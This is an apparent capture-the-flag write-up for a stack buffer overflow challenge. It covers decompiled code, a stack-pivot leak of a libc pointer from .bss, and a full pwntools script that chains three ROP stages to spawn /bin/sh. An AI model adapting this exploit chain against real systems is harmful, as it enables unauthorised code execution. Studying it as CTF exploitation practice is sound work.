writeup obviously stack bof
00401183 uint64_t gets(void* arg1)
00401183 {
00401183 int32_t rax_2 = read(0, arg1, 0x2bc);
00401183
004011b5 if (rax_2 > 0)
004011c7 *(uint8_t*)((char*)arg1 + (int64_t)rax_2 - 1) = 0;
004011c7
004011ce return (uint64_t)rax_2;
00401183 }
004011cf int32_t main(int32_t argc, char** argv, char** envp)
004011cf {
004011cf setbuf(__TMC_END__, nullptr);
00401200 void var_28;
00401200 memset(&var_28, 0, 0x20);
0040120c gets(&var_28);
0040121f print(&var_28);
00401227 return 0;
004011cf }
But since rax and rdi, other useful register were filled by zero, also print is a function pointer pointed to puts so there's no puts@plt.
First, I found this part of assembly.
Using this gadget with stack pivoting, we can leak something in known addr like function pointer in .bss (PIE disabled in this challenge.)
00401211 488b15f82d0000 mov rdx, qword [rel print]
00401218 488d45e0 lea rax, [rbp-0x20 {var_28}]
0040121c 4889c7 mov rdi, rax {var_28}
0040121f ffd2 call rdx
After leaking libc, make a rop-chain with heavy attention to rsp starvation.
Why I added too much ret gadget into my rop-chain is to prepare the stack for puts. As you can imagine, puts also consume the stack, so without the temporary stack, puts will overwrite the function pointer, which cause SIGSEGV because of rwx permission.
3 rop-chaining give me launching the shell.
from pwn import *
from icecream import ic
import sys
import re
import inspect
e = ELF("vuln",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 127.0.0.1 9999"
if "nc" in nc:
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
if "http" in nc:
from urllib.parse import urlparse
HOST = urlparse(nc).hostname
PORT = urlparse(nc).port
dbg = 1
g_script = """
#set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sln = lambda b: io.sendline(str(b).encode())
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
fsp = lambda b : f"%{b}$p".encode()
shell = lambda : io.interactive()
def hl(v: int): print(f"{(m := re.search(r'hl\s*\(\s*(.+?)\s*\)', inspect.getframeinfo(inspect.currentframe().f_back).code_context[0].strip())) and m.group(1) or '?'}: {hex(v)}")
payload = b""
def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***")
def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args])
pop_rcx = 0x0040117e
pop_rbp = 0x00401181
ret = 0x00401234
rst()
pay(
b"A"*0x20,
0x000000404040+0x20,
0x401205
)
payload = payload.ljust(0x2bc, b"\x00")
s(payload)
rst()
pay(
ret,
pop_rbp,
0x404010+0x20-0x8,
0x401205,
0x404010+0x20,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
pop_rbp,
0x404010+0x20+0x8,
0x401211,
)
r()
sl(payload)
ic(rl())
leak = rl()[:-1]
leak = pu64(leak)
hl(leak)
libc.address = leak - (0x7a3658a045c0 - 0x00007a3658800000)
hl(libc.address)
rst()
pay(
b"/bin/sh\x00",
ret,
ret,
ret,
ret,
ret,
ret,
ret,
pop_rbp,
0x000000404090+0x10,
libc.address + 0x111cbe,
next(libc.search(b"/bin/sh\x00")),
libc.address + 0x110cf6,
0,
libc.address + 0xdd237,
0x3b,
libc.address + 0x0000000000184cb4,
0,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
libc.address + 0x12ac29,
)
sl(payload)
shell()